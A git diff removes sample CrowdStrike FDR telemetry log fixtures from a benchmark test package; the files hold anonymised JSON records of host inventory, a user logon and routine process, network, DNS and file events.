index 5cf7cfb6de..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_aidmaster.log
+++ /dev/null
@@ -1,5 +0,0 @@
-{"AgentLoadFlags":"1","AgentLocalTime":"1697712608","AgentTimeOffset":"-1918.056","AgentVersion":"6.58.13921.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.21010423/w64","ChassisType":"Other","City":"Varanasi","ComputerName":"FEVWSA1-003","ConfigBuild":"1007.3.0017213.1","ConfigIDBuild":"13921","Continent":"Asia","Country":"India","FalconGroupingTags":"'FalconGroupingTags/INDIA'","FirstSeen":"1619196080.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"SAT;FE;VDI;Global;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"GNG","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992784.144","Timezone":"Asia/Varanasi","Version":"Windows 10","aid":"ffffffffa63e404bba4bff7465ab3afb","aip":"214.3.91.8","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
-{"AgentLoadFlags":"0","AgentLocalTime":"1697054061","AgentTimeOffset":"12274.197","AgentVersion":"7.01.13921.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.210105623/u64","ChassisType":"Other","City":"Hamilton","ComputerName":"MIVWIN21","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13921","Continent":"Europe","Country":"Iceland","FalconGroupingTags":"'FalconGroupingTags/Iceland'","FirstSeen":"1576097732.0","HostHiddenStatus":"Visible","MachineDomain":"iceland.bigbiz.local","OU":"Infrastructure for CM;Citrix BM","PointerSize":"8","ProductType":"3.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"Mosfellsbær","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992773.787","Timezone":"Europe/Iceland","Version":"Windows Server 2022","aid":"ffffffff3c0846978560dbc0048d6555","aip":"42.7.15.32","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
-{"AgentLoadFlags":"0","AgentLocalTime":"1697069182","AgentTimeOffset":"-2275.344","AgentVersion":"7.01.13922.0","BiosManufacturer":"American Megatrends","BiosVersion":"FW29-234098","ChassisType":"Space-Saving","City":"Mumbai","ComputerName":"FEVWSA1-029","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13922","Continent":"Asia","Country":"India","FalconGroupingTags":"'FalconGroupingTags/India'","FirstSeen":"1592645590.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"PROD;Win10 Workstations;India;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"IO","SystemManufacturer":"Dell","SystemProductName":"Dell Note","Time":"1697992701.85","Timezone":"India/Mumbai","Version":"Windows 10","aid":"ffffffffc59c473aa7fcbbe7438082cb","aip":"42.7.16.195","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
-{"AgentLoadFlags":"1","AgentLocalTime":"1697735519","AgentTimeOffset":"15963.231","AgentVersion":"6.56.17010.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.210105623/u64","ChassisType":"Other","City":"Chicago","ComputerName":"FEVWSN1-009","ConfigBuild":"1007.3.0017010.1","ConfigIDBuild":"17010","Continent":"North America","Country":"America","FalconGroupingTags":"none","FirstSeen":"1641998107.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"UAT;CAA;VDI;Global;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"BCL","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992762.221","Timezone":"America/Chicago","Version":"Windows ME","aid":"ffffffffac4148947ed68497e89f3308","aip":"16.15.12.10","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
-{"AgentLoadFlags":"1","AgentLocalTime":"1697775225","AgentTimeOffset":"15889.017","AgentVersion":"7.01.13922.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.21040423/z64","ChassisType":"Other","City":"Chicago","ComputerName":"FEVWSN1-234","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13922","Continent":"North America","Country":"United States of America","FalconGroupingTags":"'FalconGroupingTags/AMERICA'","FirstSeen":"1628678052.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"Servers;America;Offices","PointerSize":"8","ProductType":"3.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"BCL","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992719.22","Timezone":"America/Chicago","Version":"Windows Server 2021","aid":"ffffffff655344736aca58d17fb570f0","aip":"16.15.12.10","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_userinfo.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_userinfo.log
deleted file mode 100644
index a663f3cdd4..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_userinfo.log
+++ /dev/null
@@ -1 +0,0 @@
-{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546155.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":"DOMAIN\\BRADLEYA","UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserName":"Alan-One","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546168.576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","event_platform":"Win","monthsincereset":"1.0"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log
deleted file mode 100644
index f3d053e28c..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log
+++ /dev/null
@@ -1,128 +0,0 @@
-{"ParentProcessId":"362225661973273550","SourceProcessId":"362225661973273550","aip":"67.43.156.14","SessionProcessId":"363970027584976556","SyntheticPR2Flags":"8","event_platform":"Mac","SVUID":"501","id":"ffffffff-1111-11eb-8dd4-061759968cdf","EffectiveTransmissionClass":"2","timestamp":"1625677521162","ProcessGroupId":"363970027584976556","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"9505","ContextTimeStamp":"1625677521.137","GID":"20","ConfigStateHash":"1620585913","SVGID":"20","ConfigBuild":"1007.4.0013701.1","UID":"501","CommandLine":"/bin/sh -s unix:cmd","TargetProcessId":"363970027584976556","ImageFileName":"/bin/sh","RGID":"501","SourceThreadId":"0","Entitlements":"15","name":"SyntheticProcessRollup2MacV3","RUID":"501","aid":"ffffffffa63e404bba4bff7465ab3afb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"FileDeletedCount":"0","DirectoryCreatedCount":"0","ContextThreadId":"0","aip":"67.43.156.14","NetworkConnectCount":"0","NetworkListenCount":"0","event_platform":"Mac","NetworkBindCount":"0","NetworkRecvAcceptCount":"0","id":"ffffffff-1111-11eb-9d75-02bcf3ade03b","NewExecutableWrittenCount":"0","NetworkCloseCount":"0","EffectiveTransmissionClass":"3","SuspectStackCount":"0","timestamp":"1625677524102","event_simpleName":"EndOfProcess","RawProcessId":"33454","ContextTimeStamp":"1625677523.068","ConfigStateHash":"3090255842","ContextProcessId":"365053603452626914","AsepWrittenCount":"0","SuspiciousDnsRequestCount":"0","ConfigBuild":"1007.4.0013701.1","NetworkCapableAsepWriteCount":"0","ExecutableDeletedCount":"0","TargetProcessId":"365053603452626914","DnsRequestCount":"0","Entitlements":"15","name":"EndOfProcessMacV15","aid":"ffffffff3c0846978560dbc0048d6555","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1625677488.594","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"365042236081053654","RemotePort":"546","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"547","Entitlements":"15","name":"RawBindIP6MacV10","id":"ffffffff-1111-11eb-ad8d-064c77be2fd1","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffffc59c473aa7fcbbe7438082cb","ConnectionDirection":"2","InContext":"0","timestamp":"1625677488615","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"1620585913","Timeout":"600","aip":"67.43.156.14","SHA256HashData":"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018","ProcessCount":"4","ConfigBuild":"1007.4.0013701.1","UID":"502","event_platform":"Mac","CommandLine":"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n        feature_name: FEATURE_NAME,\n        variants: [FEATURE_VARIANT],\n      )","Entitlements":"15","name":"ProcessRollup2StatsMacV1","id":"ffffffff-1111-11eb-822b-06081a3f0f45","EffectiveTransmissionClass":"2","aid":"ffffffff59fe460783ea45d59e417d6f","timestamp":"1625677504527","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"3090255842","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"0","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"SensorHeartbeatMacV4","ConfigIDPlatform":"4","id":"ffffffff-1111-11eb-97c6-02fd02aca859","ConfigIDBuild":"13701","EffectiveTransmissionClass":"0","aid":"ffffffffe1ad47b6b5b44ae9151a6cf3","ProvisionState":"1","timestamp":"1625677514783","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"MachOSubType":"1","ParentProcessId":"362213307092004097","SourceProcessId":"362213307092004097","aip":"67.43.156.14","SessionProcessId":"362213307092004097","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Mac","ProcessEndTime":"","SVUID":"0","ParentBaseFileName":"launchd","id":"ffffffff-1111-11eb-a9ce-02e9216bdbcb","EffectiveTransmissionClass":"2","timestamp":"1625677502500","ProcessGroupId":"362213307092004097","event_simpleName":"ProcessRollup2","RawProcessId":"56254","GID":"0","ConfigStateHash":"1620585913","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000","TargetProcessId":"363276350115996101","ImageFileName":"/usr/libexec/xpcproxy","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2MacV5","RUID":"0","ProcessStartTime":"1625677502.233","aid":"ffffffff8be84591864008eb2e484920","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1625677504.982","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307488247882","RemotePort":"53","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"39920","Entitlements":"15","name":"NetworkReceiveAcceptIP4LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"1","InContext":"0","timestamp":"1625677505511","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"RawBindIP4","ContextTimeStamp":"1625677521.866","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"362579458925546303","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"53","Entitlements":"15","name":"RawBindIP4MacV10","id":"ffffffff-1111-11eb-81d4-0282ad9ac82d","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff01fc49949cf06bf0bce3c010","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677522009","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677523.901","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP4":"127.0.0.1","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364783686797112486","RemotePort":"50626","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP6MacV10","id":"ffffffff-1111-11eb-97c6-02fd02aca859","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff083845f68a7de3d95cb34361","ConnectionDirection":"0","InContext":"0","timestamp":"1625677524048","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ParentProcessId":"38911774195823","SourceProcessId":"38911774195823","aip":"67.43.156.14","SessionProcessId":"38911772846634","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1625677535.102","SVUID":"114","ParentBaseFileName":"bash","id":"ffffffff-1111-11eb-bad4-02690d039c6b","EffectiveTransmissionClass":"2","timestamp":"1625677535482","ProcessGroupId":"9277112078","event_simpleName":"ProcessRollup2","RawProcessId":"73249","GID":"119","ConfigStateHash":"1284133626","SVGID":"119","MD5HashData":"29037cef466fa57f03bd1b2a092c47a4","SHA256HashData":"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112","ConfigBuild":"1007.8.0010912.1","UID":"114","CommandLine":"pgbackrest --stanza\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG","TargetProcessId":"38911778380590","ImageFileName":"/usr/bin/pgbackrest","RGID":"119","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV6","RUID":"114","ProcessStartTime":"1625677535.068","aid":"ffffffffcf45409f87ed463b40c368ec","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677503.713","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307455014463","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"41952","Entitlements":"15","name":"NetworkConnectIP6LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","ConnectionDirection":"0","InContext":"0","timestamp":"1625677503947","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1625677520.973","ConfigStateHash":"3090255842","ContextProcessId":"365044948432500700","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"0500000100000000000000000000000021b0260000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OoxmlFileWrittenMacV1","id":"ffffffff-1111-11eb-8ad1-02cfdadef55f","EffectiveTransmissionClass":"2","aid":"ffffffff20bd481a98a3d1f6191047ff","timestamp":"1625677521081","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508"}
-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677530.308","ConfigStateHash":"3469235958","ConnectionFlags":"0","ContextProcessId":"12227094573885","RemotePort":"80","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59926","Entitlements":"15","name":"NetworkConnectIP4LinV5","id":"ffffffff-1111-11eb-b727-028bbe41f38d","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffffbd064538b214ab0dce8e82c3","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677530841","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1156120155","ChannelDiffStatus":"1","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"12","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV2","id":"ffffffff-1111-11eb-b7e0-02332cdcc16d","ErrorCode":"0","aid":"ffffffff25b14d4aa96de99e24bad2fa","timestamp":"1625677493974","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677520.686","aip":"67.43.156.14","PhysicalAddress":"6e-9e-e0-1f-6d-7d","InterfaceAlias":"vethdeb0243","InterfaceIndex":"3736","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP6LinV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","PhysicalAddressLength":"6","aid":"ffffffffc9114c1898e79604708955a6","timestamp":"1625677521218","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1620585913","ChannelDiffStatus":"1","aip":"67.43.156.13","ChannelVersionRequired":"0","ChannelId":"210","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ChannelVersionRequiredMacV2","id":"ffffffff-1111-11eb-8cc5-02c6fb049dd3","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"ffffffff2d7b4778a73b2cf58d327e42","timestamp":"1625677480455","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"1156120155","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ConfigurationVersion":"10","name":"SensorHeartbeatLinV4","ConfigIDPlatform":"8","id":"ffffffff-1111-11eb-993f-02b8dc387eb5","ConfigIDBuild":"11611","aid":"fffffffff6e146908cbf31d72b94b626","timestamp":"1625677540292","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1625677528.570","ConfigStateHash":"3090255842","ContextProcessId":"364783686797112486","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000986b480e00000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"JavaClassFileWrittenMacV1","id":"ffffffff-1111-11eb-97c6-02fd02aca859","EffectiveTransmissionClass":"2","aid":"ffffffff083845f68a7de3d95cb34361","timestamp":"1625677528717","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class"}
-{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677512.700","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"364796317497854624","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP4MacV10","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff96f142f6b2475f3c584ddd80","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677512892","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"DnsRequest","ContextTimeStamp":"1625677475.806","ConfigStateHash":"1620585913","ContextProcessId":"364977197365370629","DomainName":"jss.dom1.com","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"DnsRequestMacV1","id":"ffffffff-1111-11eb-9644-060415b1fd87","EffectiveTransmissionClass":"2","aid":"ffffffff7ecf4e61bba14ca5ac5d17b1","timestamp":"1625677476111","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"28"}
-{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677504.770","ConfigStateHash":"1620585913","ContextProcessId":"365053504406857894","Size":"0","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9","FileIdentifier":"05000001000000000000000000000000b588050000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewScriptWrittenMacV2","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677540055","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/BitBar/countdown_timer.1s.py"}
-{"InterfaceIndex":"186","ConfigBuild":"1007.8.0011611.1","event_simpleName":"LocalIpAddressRemovedIP6","event_platform":"Lin","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","name":"LocalIpAddressRemovedIP6LinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-b3c1-02ff598b7945","aid":"ffffffffbfbf4ff5aa56a26ad3c1a942","timestamp":"1625677526386","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"DirectoryCreate","ContextTimeStamp":"1625677499.994","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053555029062046","ContextThreadId":"0","aip":"67.43.156.14","Flags":"0","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"0","Entitlements":"15","name":"DirectoryCreateMacV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","VnodeType":"2","EffectiveTransmissionClass":"2","aid":"ffffffff24db47799d1a85aae61dc7bc","TargetDirectoryName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871","timestamp":"1625677500089","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871"}
-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkCloseIP4","ContextTimeStamp":"1625677517.658","ConfigStateHash":"1479784503","ConnectionFlags":"0","ContextProcessId":"84424232977619","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"40394","Entitlements":"15","name":"NetworkCloseIP4LinV6","id":"ffffffff-1111-11eb-9015-02e89cda7d5f","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff58de4e748d9f64c85a9b49e6","RemoteAddressIP4":"67.43.156.13","ConnectionDirection":"2","InContext":"0","timestamp":"1625677517986","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"VolumeMediaName":"AppleAPFSMedia","VolumeDeviceProtocol":"PCI-Express","VolumeDeviceVendor":"","ContextThreadId":"0","VolumeMediaContent":"41504653-0000-11AA-AA11-00306543ECAC","VolumeMediaEjectable":"0","aip":"67.43.156.14","VolumeAppearanceTime":"1625677422.647","VolumeDeviceModel":"APPLE SSD SM0256L","VolumeMediaBSDName":"disk1s3","VolumeMountPoint":"/Volumes/Recovery","event_platform":"Mac","VolumeType":"APFS","VolumeMediaRemovable":"0","VolumeMediaBSDUnit":"1","VolumeFileSystemDriver":"apfs","id":"ffffffff-1111-11eb-956a-02748d01bd3d","VolumeMediaSize":"250685575168","EffectiveTransmissionClass":"2","VolumeBusName":"IONVMeController","timestamp":"1625677496804","VolumeMediaBSDMinor":"8","VolumeMediaWritable":"1","event_simpleName":"FsVolumeMounted","VolumeDevicePath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1","VolumeName":"Recovery","ContextTimeStamp":"1625677496.750","VolumeSectorSize":"4096","ConfigStateHash":"3090255842","ContextProcessId":"365053546767850587","VolumeBusPath":"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController","VolumeDeviceInternal":"1","ConfigBuild":"1007.4.0013701.1","VolumeUUID":"85400FAD-01F9-0442-8C5D-441F365D4909","VolumeDeviceRevision":"CXS4LA0Q","Entitlements":"15","name":"FsVolumeMountedMacV1","VolumeMediaBSDMajor":"1","VolumeMediaPath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3","aid":"ffffffff8eca418b7a861be9c5f7de1d","VolumeMediaUUID":"AD0F4085-F901-4204-8C5D-441F365D4909","VolumeMediaWhole":"0","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"}
-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677513.841","aip":"67.43.156.14","PhysicalAddress":"0e-d6-ff-ff-ff-63","InterfaceAlias":"eth0","InterfaceIndex":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP4LinV1","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","PhysicalAddressLength":"6","aid":"ffffffff190e436aaebc3892bcda5beb","timestamp":"1625677514374","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"3967242894","aip":"67.43.156.13","InterfaceIndex":"8","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressRemovedIP6MacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.14","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"llw0","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","PhysicalAddressLength":"6","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677521723","event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","PhysicalAddress":"c2-27-b0-27-83-0f","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressIP6MacV1","aid":"ffffffff0ad7494e8e817b3903f4eebb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677507.037","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364432308748445743","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"50647","Entitlements":"15","name":"NetworkListenIP4MacV10","id":"ffffffff-1111-11eb-8b36-06a8af5164a9","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff23d24c4193ffa6f270775ee5","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677507086","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1625677536.729","ConfigStateHash":"3090255842","ContextProcessId":"364994904864288322","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ExecutableDeletedMacV1","id":"ffffffff-1111-11eb-8ca0-0231588e8cbb","EffectiveTransmissionClass":"2","aid":"ffffffffa7bf46da689501ce58bd6987","timestamp":"1625677536784","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt"}
